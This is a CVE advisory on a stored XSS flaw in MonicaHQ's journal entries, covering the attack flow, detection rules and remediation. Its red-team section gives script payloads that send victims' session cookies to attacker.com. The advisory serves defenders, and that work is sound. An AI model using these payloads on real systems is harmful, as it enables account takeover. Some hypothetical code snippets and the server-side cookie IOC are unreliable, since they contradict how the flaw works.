CVE-2024-54997
Executive Summary
CVE-2024-54997 is an authenticated Client-Side Injection vulnerability discovered in MonicaHQ v4.1.1, a popular open-source personal relationship manager (PRM). The flaw resides in the entry text field at /journal/entries/ID/edit, allowing an authenticated attacker to inject arbitrary client-side scripts. This can lead to session hijacking, data exfiltration, or phishing attacks against other users of the same Monica instance. The vulnerability is classified as a Stored Cross-Site Scripting (XSS) issue, as the injected payload persists in the journal entry and executes when any authenticated user views the compromised entry.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MonicaHQ is a PHP/Laravel application. The vulnerability is not in a direct dependency (NPM, PyPI, Go, Ruby) but in the application's own input handling. However, the application may rely on JavaScript libraries (e.g., jQuery, Vue.js) that could be leveraged in the attack. No known supply chain compromise has been reported for this CVE.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the description and common XSS scoring, a reasonable estimate is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires authentication
- User Interaction (UI): Required (R) – victim must view the entry
- Scope (S): Changed (C) – injected script can affect other parts of the application
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS Score: 5.4 (Medium)
Threat Level: Medium. Exploitation requires authentication, but the impact is significant for multi-user Monica instances.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS. The entry text field in the journal edit functionality does not properly sanitize or encode user-supplied input before rendering it in the browser. When an authenticated user submits a journal entry containing malicious HTML/JavaScript, the payload is stored in the database. Subsequently, when any authenticated user (including the attacker or other users) views the entry via /journal/entries/ID/edit or the view page, the injected script executes in their browser context.
Attack Flow:
- Attacker authenticates to MonicaHQ.
- Attacker navigates to
/journal/entries/ID/edit(or creates a new entry). - Attacker injects a payload like
<script>alert('XSS')</script>into the entry text field. - The payload is stored in the database without sanitization.
- Victim (another authenticated user) views the compromised entry.
- The script executes, potentially stealing session cookies, performing actions on behalf of the victim, or redirecting to a phishing page.
Vulnerable vs. Patched Code
Vulnerable Code (MonicaHQ v4.1.1): The vulnerable code likely resides in the controller or view that handles journal entry display. For example, in a Blade template:
// resources/views/journal/entries/show.blade.php (hypothetical)
<div class="entry-text">
{{ $entry->text }} <!-- No escaping, raw output -->
</div>
This uses {{ }} which in Laravel Blade automatically escapes HTML. However, if the developer used {!! !!} (unescaped output) or if the text field was processed by a JavaScript rich text editor that bypassed server-side sanitization, the vulnerability arises.
Patched Code (Hypothetical):
<div class="entry-text">
{{ e($entry->text) }} <!-- Explicit escaping -->
</div>
Or using a proper HTML purifier library:
use HTMLPurifier;
$purifier = new HTMLPurifier();
$clean_text = $purifier->purify($entry->text);
The patch should ensure all user input is properly escaped or sanitized before rendering.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running MonicaHQ v4.1.1 instance (e.g., Docker:
monicaapp/monica:4.1.1) - Valid credentials for an authenticated user.
Exploit Steps:
- Log in to MonicaHQ.
- Create a new journal entry or edit an existing one.
- In the entry text field, inject a payload. Example:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the entry.
- Share the entry URL with the victim (or wait for them to view it).
- The victim's browser executes the script, sending their session cookie to the attacker's server.
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Note: No public exploit-db code is available for this CVE.
Blue Team (Defensive)
Detection:
- Monitor for unusual journal entry content containing
<script>,<iframe>, oronerrorattributes. - Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to
/journal/entries/*. - Enable Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search logs for requests to
/journal/entries/*/editwith suspicious payloads. - Review database entries for HTML tags in the
textcolumn of thejournal_entriestable.
Lab Setup for Testing:
- Deploy MonicaHQ v4.1.1 in a sandboxed environment.
- Use a browser with developer tools to inspect network requests.
- Simulate the attack and verify detection rules.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the MonicaHQ server (e.g.,
GET /steal?cookie=...). - Unusual referrer headers from
/journal/entries/*to external domains.
Host IOCs:
- Database entries in
journal_entriestable containing<script>tags or event handlers. - Modified JavaScript files (if attacker achieved RCE via XSS).
Log IOCs:
- Repeated requests to
/journal/entries/*/editfrom the same IP. - Error logs showing failed CSP violations.
Detection Engineering
YARA Rule
rule CVE_2024_54997_MonicaHQ_XSS {
meta:
description = "Detects stored XSS payloads in MonicaHQ journal entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54997"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: MonicaHQ Stored XSS via Journal Entry
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in MonicaHQ journal entry creation/editing
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/journal/entries/*/edit'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in journal entries (if allowed)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-54997 MonicaHQ Stored XSS Payload";
flow:to_server,established;
content:"POST"; http_method;
content:"/journal/entries/"; http_uri;
pcre:"/<script[^>]*>.*?<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2024-54997;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade MonicaHQ to the latest patched version (if available). Check the official repository for updates.
- Apply a WAF rule to block XSS patterns in journal entry fields.
- Implement Content Security Policy (CSP) headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-term Fixes:
- Input Sanitization: Use a library like HTMLPurifier to strip malicious tags from user input.
- Output Encoding: Ensure all user-supplied data is properly escaped in Blade templates (use
{{ }}instead of{!! !!}). - Regular Security Audits: Perform code reviews and penetration testing on custom features.
Workaround (if patching is not possible):
- Disable the journal feature temporarily.
- Restrict access to journal editing to trusted users only.
Valters IT